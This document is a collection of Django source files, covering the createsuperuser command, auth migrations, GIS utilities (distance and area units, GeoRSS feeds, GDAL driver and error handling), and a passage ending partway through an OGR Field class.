                        message = force_str('%s%s: ' % (
                            capfirst(field.verbose_name),
                            ' (%s.%s)' % (
                                field.remote_field.model._meta.object_name,
                                field.remote_field.field_name,
                            ) if field.remote_field else '',
                        ))
                        input_value = self.get_input_data(field, message)
                        user_data[field_name] = input_value
                        fake_user_data[field_name] = input_value

                        # Wrap any foreign keys in fake model instances
                        if field.remote_field:
                            fake_user_data[field_name] = field.remote_field.model(input_value)

                # Get a password
                while password is None:
                    password = getpass.getpass()
                    password2 = getpass.getpass(force_str('Password (again): '))
                    if password != password2:
                        self.stderr.write("Error: Your passwords didn't match.")
                        password = None
                        # Don't validate passwords that don't match.
                        continue

                    if password.strip() == '':
                        self.stderr.write("Error: Blank passwords aren't allowed.")
                        password = None
                        # Don't validate blank passwords.
                        continue

                    try:
                        validate_password(password2, self.UserModel(**fake_user_data))
                    except exceptions.ValidationError as err:
                        self.stderr.write('\n'.join(err.messages))
                        password = None

            except KeyboardInterrupt:
                self.stderr.write("\nOperation cancelled.")
                sys.exit(1)

            except NotRunningInTTYException:
                self.stdout.write(
                    "Superuser creation skipped due to not running in a TTY. "
                    "You can run `manage.py createsuperuser` in your project "
                    "to create one manually."
                )

        if username:
            user_data[self.UserModel.USERNAME_FIELD] = username
            user_data['password'] = password
            self.UserModel._default_manager.db_manager(database).create_superuser(**user_data)
            if options['verbosity'] >= 1:
                self.stdout.write("Superuser created successfully.")

    def get_input_data(self, field, message, default=None):
        """
        Override this method if you want to customize data inputs or
        validation exceptions.
        """
        raw_value = input(message)
        if default and raw_value == '':
            raw_value = default
        try:
            val = field.clean(raw_value, None)
        except exceptions.ValidationError as e:
            self.stderr.write("Error: %s" % '; '.join(e.messages))
            val = None

        return val






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import django.contrib.auth.models
from django.contrib.auth import validators
from django.db import migrations, models
from django.utils import six, timezone


class Migration(migrations.Migration):

    dependencies = [
        ('contenttypes', '__first__'),
    ]

    operations = [
        migrations.CreateModel(
            name='Permission',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('name', models.CharField(max_length=50, verbose_name='name')),
                ('content_type', models.ForeignKey(
                    to='contenttypes.ContentType',
                    on_delete=models.CASCADE,
                    to_field='id',
                    verbose_name='content type',
                )),
                ('codename', models.CharField(max_length=100, verbose_name='codename')),
            ],
            options={
                'ordering': ('content_type__app_label', 'content_type__model', 'codename'),
                'unique_together': set([('content_type', 'codename')]),
                'verbose_name': 'permission',
                'verbose_name_plural': 'permissions',
            },
            managers=[
                ('objects', django.contrib.auth.models.PermissionManager()),
            ],
        ),
        migrations.CreateModel(
            name='Group',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('name', models.CharField(unique=True, max_length=80, verbose_name='name')),
                ('permissions', models.ManyToManyField(to='auth.Permission', verbose_name='permissions', blank=True)),
            ],
            options={
                'verbose_name': 'group',
                'verbose_name_plural': 'groups',
            },
            managers=[
                ('objects', django.contrib.auth.models.GroupManager()),
            ],
        ),
        migrations.CreateModel(
            name='User',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('password', models.CharField(max_length=128, verbose_name='password')),
                ('last_login', models.DateTimeField(default=timezone.now, verbose_name='last login')),
                ('is_superuser', models.BooleanField(
                    default=False,
                    help_text='Designates that this user has all permissions without explicitly assigning them.',
                    verbose_name='superuser status'
                )),
                ('username', models.CharField(
                    help_text='Required. 30 characters or fewer. Letters, digits and @/./+/-/_ only.', unique=True,
                    max_length=30, verbose_name='username',
                    validators=[
                        validators.UnicodeUsernameValidator() if six.PY3 else validators.ASCIIUsernameValidator()
                    ],
                )),
                ('first_name', models.CharField(max_length=30, verbose_name='first name', blank=True)),
                ('last_name', models.CharField(max_length=30, verbose_name='last name', blank=True)),
                ('email', models.EmailField(max_length=75, verbose_name='email address', blank=True)),
                ('is_staff', models.BooleanField(
                    default=False, help_text='Designates whether the user can log into this admin site.',
                    verbose_name='staff status'
                )),
                ('is_active', models.BooleanField(
                    default=True, verbose_name='active', help_text=(
                        'Designates whether this user should be treated as active. Unselect this instead of deleting '
                        'accounts.'
                    )
                )),
                ('date_joined', models.DateTimeField(default=timezone.now, verbose_name='date joined')),
                ('groups', models.ManyToManyField(
                    to='auth.Group', verbose_name='groups', blank=True, related_name='user_set',
                    related_query_name='user', help_text=(
                        'The groups this user belongs to. A user will get all permissions granted to each of their '
                        'groups.'
                    )
                )),
                ('user_permissions', models.ManyToManyField(
                    to='auth.Permission', verbose_name='user permissions', blank=True,
                    help_text='Specific permissions for this user.', related_name='user_set',
                    related_query_name='user')
                 ),
            ],
            options={
                'swappable': 'AUTH_USER_MODEL',
                'verbose_name': 'user',
                'verbose_name_plural': 'users',
            },
            managers=[
                ('objects', django.contrib.auth.models.UserManager()),
            ],
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('auth', '0004_alter_user_username_opts'),
    ]

    operations = [
        migrations.AlterField(
            model_name='user',
            name='last_login',
            field=models.DateTimeField(null=True, verbose_name='last login', blank=True),
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('auth', '0002_alter_permission_name_max_length'),
    ]

    operations = [
        migrations.AlterField(
            model_name='user',
            name='email',
            field=models.EmailField(max_length=254, verbose_name='email address', blank=True),
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


class Migration(migrations.Migration):

    dependencies = [
        ('auth', '0005_alter_user_last_login_null'),
        ('contenttypes', '0002_remove_content_type_name'),
    ]

    operations = [
        # Ensure the contenttypes migration is applied before sending
        # post_migrate signals (which create ContentTypes).
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.contrib.auth import validators
from django.db import migrations, models
from django.utils import six


class Migration(migrations.Migration):

    dependencies = [
        ('auth', '0003_alter_user_email_max_length'),
    ]

    # No database changes; modifies validators and error_messages (#13147).
    operations = [
        migrations.AlterField(
            model_name='user',
            name='username',
            field=models.CharField(
                error_messages={'unique': 'A user with that username already exists.'}, max_length=30,
                validators=[validators.UnicodeUsernameValidator() if six.PY3 else validators.ASCIIUsernameValidator()],
                help_text='Required. 30 characters or fewer. Letters, digits and @/./+/-/_ only.',
                unique=True, verbose_name='username'
            ),
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.contrib.auth import validators
from django.db import migrations, models
from django.utils import six


class Migration(migrations.Migration):

    dependencies = [
        ('auth', '0007_alter_validators_add_error_messages'),
    ]

    operations = [
        migrations.AlterField(
            model_name='user',
            name='username',
            field=models.CharField(
                error_messages={'unique': 'A user with that username already exists.'},
                help_text='Required. 150 characters or fewer. Letters, digits and @/./+/-/_ only.',
                max_length=150,
                unique=True,
                validators=[validators.UnicodeUsernameValidator() if six.PY3 else validators.ASCIIUsernameValidator()],
                verbose_name='username',
            ),
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.contrib.auth import validators
from django.db import migrations, models
from django.utils import six


class Migration(migrations.Migration):

    dependencies = [
        ('auth', '0006_require_contenttypes_0002'),
    ]

    operations = [
        migrations.AlterField(
            model_name='user',
            name='username',
            field=models.CharField(
                error_messages={'unique': 'A user with that username already exists.'},
                help_text='Required. 30 characters or fewer. Letters, digits and @/./+/-/_ only.',
                max_length=30,
                unique=True,
                validators=[validators.UnicodeUsernameValidator() if six.PY3 else validators.ASCIIUsernameValidator()],
                verbose_name='username',
            ),
        ),
    ]






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('auth', '0001_initial'),
    ]

    operations = [
        migrations.AlterField(
            model_name='permission',
            name='name',
            field=models.CharField(max_length=255, verbose_name='name'),
        ),
    ]












import warnings
from unittest import skipIf

from django.conf import settings
from django.utils.deprecation import RemovedInDjango20Warning


def skipIfCustomUser(test_func):
    """
    Skip a test if a custom user model is in use.
    """
    warnings.warn(
        "django.contrib.auth.tests.utils.skipIfCustomUser is deprecated.",
        RemovedInDjango20Warning, stacklevel=2)

    return skipIf(settings.AUTH_USER_MODEL != 'auth.User', 'Custom user model in use')(test_func)






import zipfile
from io import BytesIO

from django.conf import settings
from django.http import HttpResponse
from django.template import loader

# NumPy supported?
try:
    import numpy
except ImportError:
    numpy = False


def compress_kml(kml):
    "Returns compressed KMZ from the given KML string."
    kmz = BytesIO()
    with zipfile.ZipFile(kmz, 'a', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('doc.kml', kml.encode(settings.DEFAULT_CHARSET))
    kmz.seek(0)
    return kmz.read()


def render_to_kml(*args, **kwargs):
    "Renders the response as KML (using the correct MIME type)."
    return HttpResponse(
        loader.render_to_string(*args, **kwargs),
        content_type='application/vnd.google-earth.kml+xml',
    )


def render_to_kmz(*args, **kwargs):
    """
    Compresses the KML content and returns as KMZ (using the correct
    MIME type).
    """
    return HttpResponse(
        compress_kml(loader.render_to_string(*args, **kwargs)),
        content_type='application/vnd.google-earth.kmz',
    )


def render_to_text(*args, **kwargs):
    "Renders the response using the MIME type for plain text."
    return HttpResponse(loader.render_to_string(*args, **kwargs), content_type='text/plain')






# Copyright (c) 2007, Robert Coup <robert.coup@onetrackmind.co.nz>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#   1. Redistributions of source code must retain the above copyright notice,
#      this list of conditions and the following disclaimer.
#
#   2. Redistributions in binary form must reproduce the above copyright
#      notice, this list of conditions and the following disclaimer in the
#      documentation and/or other materials provided with the distribution.
#
#   3. Neither the name of Distance nor the names of its contributors may be used
#      to endorse or promote products derived from this software without
#      specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
"""
Distance and Area objects to allow for sensible and convenient calculation
and conversions.

Authors: Robert Coup, Justin Bronn, Riccardo Di Virgilio

Inspired by GeoPy (https://github.com/geopy/geopy)
and Geoff Biggs' PhD work on dimensioned units for robotics.
"""
from decimal import Decimal
from functools import total_ordering

from django.utils import six

__all__ = ['A', 'Area', 'D', 'Distance']

NUMERIC_TYPES = six.integer_types + (float, Decimal)
AREA_PREFIX = "sq_"


def pretty_name(obj):
    return obj.__name__ if obj.__class__ == type else obj.__class__.__name__


@total_ordering
class MeasureBase(object):
    STANDARD_UNIT = None
    ALIAS = {}
    UNITS = {}
    LALIAS = {}

    def __init__(self, default_unit=None, **kwargs):
        value, self._default_unit = self.default_units(kwargs)
        setattr(self, self.STANDARD_UNIT, value)
        if default_unit and isinstance(default_unit, six.string_types):
            self._default_unit = default_unit

    def _get_standard(self):
        return getattr(self, self.STANDARD_UNIT)

    def _set_standard(self, value):
        setattr(self, self.STANDARD_UNIT, value)

    standard = property(_get_standard, _set_standard)

    def __getattr__(self, name):
        if name in self.UNITS:
            return self.standard / self.UNITS[name]
        else:
            raise AttributeError('Unknown unit type: %s' % name)

    def __repr__(self):
        return '%s(%s=%s)' % (pretty_name(self), self._default_unit, getattr(self, self._default_unit))

    def __str__(self):
        return '%s %s' % (getattr(self, self._default_unit), self._default_unit)

    # **** Comparison methods ****

    def __eq__(self, other):
        if isinstance(other, self.__class__):
            return self.standard == other.standard
        else:
            return NotImplemented

    def __lt__(self, other):
        if isinstance(other, self.__class__):
            return self.standard < other.standard
        else:
            return NotImplemented

    # **** Operators methods ****

    def __add__(self, other):
        if isinstance(other, self.__class__):
            return self.__class__(
                default_unit=self._default_unit,
                **{self.STANDARD_UNIT: (self.standard + other.standard)}
            )
        else:
            raise TypeError('%(class)s must be added with %(class)s' % {"class": pretty_name(self)})

    def __iadd__(self, other):
        if isinstance(other, self.__class__):
            self.standard += other.standard
            return self
        else:
            raise TypeError('%(class)s must be added with %(class)s' % {"class": pretty_name(self)})

    def __sub__(self, other):
        if isinstance(other, self.__class__):
            return self.__class__(
                default_unit=self._default_unit,
                **{self.STANDARD_UNIT: (self.standard - other.standard)}
            )
        else:
            raise TypeError('%(class)s must be subtracted from %(class)s' % {"class": pretty_name(self)})

    def __isub__(self, other):
        if isinstance(other, self.__class__):
            self.standard -= other.standard
            return self
        else:
            raise TypeError('%(class)s must be subtracted from %(class)s' % {"class": pretty_name(self)})

    def __mul__(self, other):
        if isinstance(other, NUMERIC_TYPES):
            return self.__class__(
                default_unit=self._default_unit,
                **{self.STANDARD_UNIT: (self.standard * other)}
            )
        else:
            raise TypeError('%(class)s must be multiplied with number' % {"class": pretty_name(self)})

    def __imul__(self, other):
        if isinstance(other, NUMERIC_TYPES):
            self.standard *= float(other)
            return self
        else:
            raise TypeError('%(class)s must be multiplied with number' % {"class": pretty_name(self)})

    def __rmul__(self, other):
        return self * other

    def __truediv__(self, other):
        if isinstance(other, self.__class__):
            return self.standard / other.standard
        if isinstance(other, NUMERIC_TYPES):
            return self.__class__(
                default_unit=self._default_unit,
                **{self.STANDARD_UNIT: (self.standard / other)}
            )
        else:
            raise TypeError('%(class)s must be divided with number or %(class)s' % {"class": pretty_name(self)})

    def __div__(self, other):   # Python 2 compatibility
        return type(self).__truediv__(self, other)

    def __itruediv__(self, other):
        if isinstance(other, NUMERIC_TYPES):
            self.standard /= float(other)
            return self
        else:
            raise TypeError('%(class)s must be divided with number' % {"class": pretty_name(self)})

    def __idiv__(self, other):  # Python 2 compatibility
        return type(self).__itruediv__(self, other)

    def __bool__(self):
        return bool(self.standard)

    def __nonzero__(self):      # Python 2 compatibility
        return type(self).__bool__(self)

    def default_units(self, kwargs):
        """
        Return the unit value and the default units specified
        from the given keyword arguments dictionary.
        """
        val = 0.0
        default_unit = self.STANDARD_UNIT
        for unit, value in six.iteritems(kwargs):
            if not isinstance(value, float):
                value = float(value)
            if unit in self.UNITS:
                val += self.UNITS[unit] * value
                default_unit = unit
            elif unit in self.ALIAS:
                u = self.ALIAS[unit]
                val += self.UNITS[u] * value
                default_unit = u
            else:
                lower = unit.lower()
                if lower in self.UNITS:
                    val += self.UNITS[lower] * value
                    default_unit = lower
                elif lower in self.LALIAS:
                    u = self.LALIAS[lower]
                    val += self.UNITS[u] * value
                    default_unit = u
                else:
                    raise AttributeError('Unknown unit type: %s' % unit)
        return val, default_unit

    @classmethod
    def unit_attname(cls, unit_str):
        """
        Retrieves the unit attribute name for the given unit string.
        For example, if the given unit string is 'metre', 'm' would be returned.
        An exception is raised if an attribute cannot be found.
        """
        lower = unit_str.lower()
        if unit_str in cls.UNITS:
            return unit_str
        elif lower in cls.UNITS:
            return lower
        elif lower in cls.LALIAS:
            return cls.LALIAS[lower]
        else:
            raise Exception('Could not find a unit keyword associated with "%s"' % unit_str)


class Distance(MeasureBase):
    STANDARD_UNIT = "m"
    UNITS = {
        'chain': 20.1168,
        'chain_benoit': 20.116782,
        'chain_sears': 20.1167645,
        'british_chain_benoit': 20.1167824944,
        'british_chain_sears': 20.1167651216,
        'british_chain_sears_truncated': 20.116756,
        'cm': 0.01,
        'british_ft': 0.304799471539,
        'british_yd': 0.914398414616,
        'clarke_ft': 0.3047972654,
        'clarke_link': 0.201166195164,
        'fathom': 1.8288,
        'ft': 0.3048,
        'german_m': 1.0000135965,
        'gold_coast_ft': 0.304799710181508,
        'indian_yd': 0.914398530744,
        'inch': 0.0254,
        'km': 1000.0,
        'link': 0.201168,
        'link_benoit': 0.20116782,
        'link_sears': 0.20116765,
        'm': 1.0,
        'mi': 1609.344,
        'mm': 0.001,
        'nm': 1852.0,
        'nm_uk': 1853.184,
        'rod': 5.0292,
        'sears_yd': 0.91439841,
        'survey_ft': 0.304800609601,
        'um': 0.000001,
        'yd': 0.9144,
    }

    # Unit aliases for `UNIT` terms encountered in Spatial Reference WKT.
    ALIAS = {
        'centimeter': 'cm',
        'foot': 'ft',
        'inches': 'inch',
        'kilometer': 'km',
        'kilometre': 'km',
        'meter': 'm',
        'metre': 'm',
        'micrometer': 'um',
        'micrometre': 'um',
        'millimeter': 'mm',
        'millimetre': 'mm',
        'mile': 'mi',
        'yard': 'yd',
        'British chain (Benoit 1895 B)': 'british_chain_benoit',
        'British chain (Sears 1922)': 'british_chain_sears',
        'British chain (Sears 1922 truncated)': 'british_chain_sears_truncated',
        'British foot (Sears 1922)': 'british_ft',
        'British foot': 'british_ft',
        'British yard (Sears 1922)': 'british_yd',
        'British yard': 'british_yd',
        "Clarke's Foot": 'clarke_ft',
        "Clarke's link": 'clarke_link',
        'Chain (Benoit)': 'chain_benoit',
        'Chain (Sears)': 'chain_sears',
        'Foot (International)': 'ft',
        'German legal metre': 'german_m',
        'Gold Coast foot': 'gold_coast_ft',
        'Indian yard': 'indian_yd',
        'Link (Benoit)': 'link_benoit',
        'Link (Sears)': 'link_sears',
        'Nautical Mile': 'nm',
        'Nautical Mile (UK)': 'nm_uk',
        'US survey foot': 'survey_ft',
        'U.S. Foot': 'survey_ft',
        'Yard (Indian)': 'indian_yd',
        'Yard (Sears)': 'sears_yd'
    }
    LALIAS = {k.lower(): v for k, v in ALIAS.items()}

    def __mul__(self, other):
        if isinstance(other, self.__class__):
            return Area(
                default_unit=AREA_PREFIX + self._default_unit,
                **{AREA_PREFIX + self.STANDARD_UNIT: (self.standard * other.standard)}
            )
        elif isinstance(other, NUMERIC_TYPES):
            return self.__class__(
                default_unit=self._default_unit,
                **{self.STANDARD_UNIT: (self.standard * other)}
            )
        else:
            raise TypeError('%(distance)s must be multiplied with number or %(distance)s' % {
                "distance": pretty_name(self.__class__),
            })


class Area(MeasureBase):
    STANDARD_UNIT = AREA_PREFIX + Distance.STANDARD_UNIT
    # Getting the square units values and the alias dictionary.
    UNITS = {'%s%s' % (AREA_PREFIX, k): v ** 2 for k, v in Distance.UNITS.items()}
    ALIAS = {k: '%s%s' % (AREA_PREFIX, v) for k, v in Distance.ALIAS.items()}
    LALIAS = {k.lower(): v for k, v in ALIAS.items()}

    def __truediv__(self, other):
        if isinstance(other, NUMERIC_TYPES):
            return self.__class__(
                default_unit=self._default_unit,
                **{self.STANDARD_UNIT: (self.standard / other)}
            )
        else:
            raise TypeError('%(class)s must be divided by a number' % {"class": pretty_name(self)})

    def __div__(self, other):  # Python 2 compatibility
        return type(self).__truediv__(self, other)


# Shortcuts
D = Distance
A = Area






from __future__ import unicode_literals

from django.http import Http404
from django.utils.translation import ugettext as _


def feed(request, url, feed_dict=None):
    """Provided for backwards compatibility."""
    if not feed_dict:
        raise Http404(_("No feeds are registered."))

    slug = url.partition('/')[0]
    try:
        f = feed_dict[slug]
    except KeyError:
        raise Http404(_("Slug %r isn't registered.") % slug)

    instance = f()
    instance.feed_url = getattr(f, 'feed_url', None) or request.path
    instance.title_template = f.title_template or ('feeds/%s_title.html' % slug)
    instance.description_template = f.description_template or ('feeds/%s_description.html' % slug)
    return instance(request)






from django.apps import AppConfig
from django.core import serializers
from django.utils.translation import ugettext_lazy as _


class GISConfig(AppConfig):
    name = 'django.contrib.gis'
    verbose_name = _("GIS")

    def ready(self):
        if 'geojson' not in serializers.BUILTIN_SERIALIZERS:
            serializers.BUILTIN_SERIALIZERS['geojson'] = "django.contrib.gis.serializers.geojson"






default_app_config = 'django.contrib.gis.apps.GISConfig'






from __future__ import unicode_literals

from django.contrib.syndication.views import Feed as BaseFeed
from django.utils.feedgenerator import Atom1Feed, Rss201rev2Feed


class GeoFeedMixin(object):
    """
    This mixin provides the necessary routines for SyndicationFeed subclasses
    to produce simple GeoRSS or W3C Geo elements.
    """

    def georss_coords(self, coords):
        """
        In GeoRSS coordinate pairs are ordered by lat/lon and separated by
        a single white space.  Given a tuple of coordinates, this will return
        a unicode GeoRSS representation.
        """
        return ' '.join('%f %f' % (coord[1], coord[0]) for coord in coords)

    def add_georss_point(self, handler, coords, w3c_geo=False):
        """
        Adds a GeoRSS point with the given coords using the given handler.
        Handles the differences between simple GeoRSS and the more popular
        W3C Geo specification.
        """
        if w3c_geo:
            lon, lat = coords[:2]
            handler.addQuickElement('geo:lat', '%f' % lat)
            handler.addQuickElement('geo:lon', '%f' % lon)
        else:
            handler.addQuickElement('georss:point', self.georss_coords((coords,)))

    def add_georss_element(self, handler, item, w3c_geo=False):
        """
        This routine adds a GeoRSS XML element using the given item and handler.
        """
        # Getting the Geometry object.
        geom = item.get('geometry')
        if geom is not None:
            if isinstance(geom, (list, tuple)):
                # Special case if a tuple/list was passed in.  The tuple may be
                # a point or a box
                box_coords = None
                if isinstance(geom[0], (list, tuple)):
                    # Box: ( (X0, Y0), (X1, Y1) )
                    if len(geom) == 2:
                        box_coords = geom
                    else:
                        raise ValueError('Only should be two sets of coordinates.')
                else:
                    if len(geom) == 2:
                        # Point: (X, Y)
                        self.add_georss_point(handler, geom, w3c_geo=w3c_geo)
                    elif len(geom) == 4:
                        # Box: (X0, Y0, X1, Y1)
                        box_coords = (geom[:2], geom[2:])
                    else:
                        raise ValueError('Only should be 2 or 4 numeric elements.')
                # If a GeoRSS box was given via tuple.
                if box_coords is not None:
                    if w3c_geo:
                        raise ValueError('Cannot use simple GeoRSS box in W3C Geo feeds.')
                    handler.addQuickElement('georss:box', self.georss_coords(box_coords))
            else:
                # Getting the lower-case geometry type.
                gtype = str(geom.geom_type).lower()
                if gtype == 'point':
                    self.add_georss_point(handler, geom.coords, w3c_geo=w3c_geo)
                else:
                    if w3c_geo:
                        raise ValueError('W3C Geo only supports Point geometries.')
                    # For formatting consistent w/the GeoRSS simple standard:
                    # http://georss.org/1.0#simple
                    if gtype in ('linestring', 'linearring'):
                        handler.addQuickElement('georss:line', self.georss_coords(geom.coords))
                    elif gtype in ('polygon',):
                        # Only support the exterior ring.
                        handler.addQuickElement('georss:polygon', self.georss_coords(geom[0].coords))
                    else:
                        raise ValueError('Geometry type "%s" not supported.' % geom.geom_type)


# ### SyndicationFeed subclasses ###
class GeoRSSFeed(Rss201rev2Feed, GeoFeedMixin):
    def rss_attributes(self):
        attrs = super(GeoRSSFeed, self).rss_attributes()
        attrs['xmlns:georss'] = 'http://www.georss.org/georss'
        return attrs

    def add_item_elements(self, handler, item):
        super(GeoRSSFeed, self).add_item_elements(handler, item)
        self.add_georss_element(handler, item)

    def add_root_elements(self, handler):
        super(GeoRSSFeed, self).add_root_elements(handler)
        self.add_georss_element(handler, self.feed)


class GeoAtom1Feed(Atom1Feed, GeoFeedMixin):
    def root_attributes(self):
        attrs = super(GeoAtom1Feed, self).root_attributes()
        attrs['xmlns:georss'] = 'http://www.georss.org/georss'
        return attrs

    def add_item_elements(self, handler, item):
        super(GeoAtom1Feed, self).add_item_elements(handler, item)
        self.add_georss_element(handler, item)

    def add_root_elements(self, handler):
        super(GeoAtom1Feed, self).add_root_elements(handler)
        self.add_georss_element(handler, self.feed)


class W3CGeoFeed(Rss201rev2Feed, GeoFeedMixin):
    def rss_attributes(self):
        attrs = super(W3CGeoFeed, self).rss_attributes()
        attrs['xmlns:geo'] = 'http://www.w3.org/2003/01/geo/wgs84_pos#'
        return attrs

    def add_item_elements(self, handler, item):
        super(W3CGeoFeed, self).add_item_elements(handler, item)
        self.add_georss_element(handler, item, w3c_geo=True)

    def add_root_elements(self, handler):
        super(W3CGeoFeed, self).add_root_elements(handler)
        self.add_georss_element(handler, self.feed, w3c_geo=True)


# ### Feed subclass ###
class Feed(BaseFeed):
    """
    This is a subclass of the `Feed` from `django.contrib.syndication`.
    This allows users to define a `geometry(obj)` and/or `item_geometry(item)`
    methods on their own subclasses so that geo-referenced information may
    placed in the feed.
    """
    feed_type = GeoRSSFeed

    def feed_extra_kwargs(self, obj):
        return {'geometry': self._get_dynamic_attr('geometry', obj)}

    def item_extra_kwargs(self, item):
        return {'geometry': self._get_dynamic_attr('item_geometry', item)}






from ctypes import c_void_p

from django.contrib.gis.gdal.base import GDALBase
from django.contrib.gis.gdal.error import GDALException
from django.contrib.gis.gdal.prototypes import ds as vcapi, raster as rcapi
from django.utils import six
from django.utils.encoding import force_bytes, force_text


class Driver(GDALBase):
    """
    Wraps a GDAL/OGR Data Source Driver.
    For more information, see the C API source code:
    http://www.gdal.org/gdal_8h.html - http://www.gdal.org/ogr__api_8h.html
    """

    # Case-insensitive aliases for some GDAL/OGR Drivers.
    # For a complete list of original driver names see
    # http://www.gdal.org/ogr_formats.html (vector)
    # http://www.gdal.org/formats_list.html (raster)
    _alias = {
        # vector
        'esri': 'ESRI Shapefile',
        'shp': 'ESRI Shapefile',
        'shape': 'ESRI Shapefile',
        'tiger': 'TIGER',
        'tiger/line': 'TIGER',
        # raster
        'tiff': 'GTiff',
        'tif': 'GTiff',
        'jpeg': 'JPEG',
        'jpg': 'JPEG',
    }

    def __init__(self, dr_input):
        """
        Initializes an GDAL/OGR driver on either a string or integer input.
        """
        if isinstance(dr_input, six.string_types):
            # If a string name of the driver was passed in
            self.ensure_registered()

            # Checking the alias dictionary (case-insensitive) to see if an
            # alias exists for the given driver.
            if dr_input.lower() in self._alias:
                name = self._alias[dr_input.lower()]
            else:
                name = dr_input

            # Attempting to get the GDAL/OGR driver by the string name.
            for iface in (vcapi, rcapi):
                driver = iface.get_driver_by_name(force_bytes(name))
                if driver:
                    break
        elif isinstance(dr_input, int):
            self.ensure_registered()
            for iface in (vcapi, rcapi):
                driver = iface.get_driver(dr_input)
                if driver:
                    break
        elif isinstance(dr_input, c_void_p):
            driver = dr_input
        else:
            raise GDALException('Unrecognized input type for GDAL/OGR Driver: %s' % str(type(dr_input)))

        # Making sure we get a valid pointer to the OGR Driver
        if not driver:
            raise GDALException('Could not initialize GDAL/OGR Driver on input: %s' % str(dr_input))
        self.ptr = driver

    def __str__(self):
        return self.name

    @classmethod
    def ensure_registered(cls):
        """
        Attempts to register all the data source drivers.
        """
        # Only register all if the driver count is 0 (or else all drivers
        # will be registered over and over again)
        if not cls.driver_count():
            vcapi.register_all()
            rcapi.register_all()

    @classmethod
    def driver_count(cls):
        """
        Returns the number of GDAL/OGR data source drivers registered.
        """
        return vcapi.get_driver_count() + rcapi.get_driver_count()

    @property
    def name(self):
        """
        Returns description/name string for this driver.
        """
        return force_text(rcapi.get_driver_description(self.ptr))






"""
 This module houses the GDAL & SRS Exception objects, and the
 check_err() routine which checks the status code returned by
 GDAL/OGR methods.
"""


# #### GDAL & SRS Exceptions ####
class GDALException(Exception):
    pass


# Legacy name
OGRException = GDALException


class SRSException(Exception):
    pass


class OGRIndexError(GDALException, KeyError):
    """
    This exception is raised when an invalid index is encountered, and has
    the 'silent_variable_feature' attribute set to true.  This ensures that
    django's templates proceed to use the next lookup type gracefully when
    an Exception is raised.  Fixes ticket #4740.
    """
    silent_variable_failure = True

# #### GDAL/OGR error checking codes and routine ####

# OGR Error Codes
OGRERR_DICT = {
    1: (GDALException, 'Not enough data.'),
    2: (GDALException, 'Not enough memory.'),
    3: (GDALException, 'Unsupported geometry type.'),
    4: (GDALException, 'Unsupported operation.'),
    5: (GDALException, 'Corrupt data.'),
    6: (GDALException, 'OGR failure.'),
    7: (SRSException, 'Unsupported SRS.'),
    8: (GDALException, 'Invalid handle.'),
}

# CPL Error Codes
# http://www.gdal.org/cpl__error_8h.html
CPLERR_DICT = {
    1: (GDALException, 'AppDefined'),
    2: (GDALException, 'OutOfMemory'),
    3: (GDALException, 'FileIO'),
    4: (GDALException, 'OpenFailed'),
    5: (GDALException, 'IllegalArg'),
    6: (GDALException, 'NotSupported'),
    7: (GDALException, 'AssertionFailed'),
    8: (GDALException, 'NoWriteAccess'),
    9: (GDALException, 'UserInterrupt'),
    10: (GDALException, 'ObjectNull'),
}

ERR_NONE = 0


def check_err(code, cpl=False):
    """
    Checks the given CPL/OGRERR, and raises an exception where appropriate.
    """
    err_dict = CPLERR_DICT if cpl else OGRERR_DICT

    if code == ERR_NONE:
        return
    elif code in err_dict:
        e, msg = err_dict[code]
        raise e(msg)
    else:
        raise GDALException('Unknown error code: "%s"' % code)






from ctypes import byref, c_int
from datetime import date, datetime, time

from django.contrib.gis.gdal.base import GDALBase
from django.contrib.gis.gdal.error import GDALException
from django.contrib.gis.gdal.prototypes import ds as capi
from django.utils.encoding import force_text


# For more information, see the OGR C API source code:
#  http://www.gdal.org/ogr__api_8h.html
#
# The OGR_Fld_* routines are relevant here.
class Field(GDALBase):
    """
    This class wraps an OGR Field, and needs to be instantiated
    from a Feature object.
    """

    def __init__(self, feat, index):
        """
        Initializes on the feature object and the integer index of
        the field within the feature.
        """
        # Setting the feature pointer and index.
        self._feat = feat
        self._index = index

        # Getting the pointer for this field.
        fld_ptr = capi.get_feat_field_defn(feat.ptr, index)
        if not fld_ptr:
            raise GDALException('Cannot create OGR Field, invalid pointer given.')
        self.ptr = fld_ptr

        # Setting the class depending upon the OGR Field Type (OFT)
